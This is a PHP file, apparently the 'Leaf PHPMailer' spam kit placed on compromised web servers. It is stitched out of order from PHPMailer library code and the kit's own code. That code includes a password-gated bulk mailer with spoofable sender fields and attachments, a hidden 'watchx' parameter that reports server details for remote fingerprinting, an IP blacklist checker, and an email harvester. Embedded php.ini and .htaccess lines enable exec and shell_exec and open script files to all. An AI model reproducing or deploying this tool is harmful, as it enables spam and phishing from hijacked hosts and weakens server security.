     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "1OTi3EVJUvA";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
